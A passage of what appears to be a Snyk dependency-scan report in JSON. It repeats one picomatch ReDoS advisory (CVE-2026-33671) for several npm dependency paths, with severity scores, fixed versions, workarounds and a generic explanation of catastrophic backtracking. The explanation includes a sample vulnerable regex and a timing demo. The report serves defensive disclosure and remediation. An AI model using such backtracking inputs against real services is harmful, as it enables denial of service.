slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.26", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", 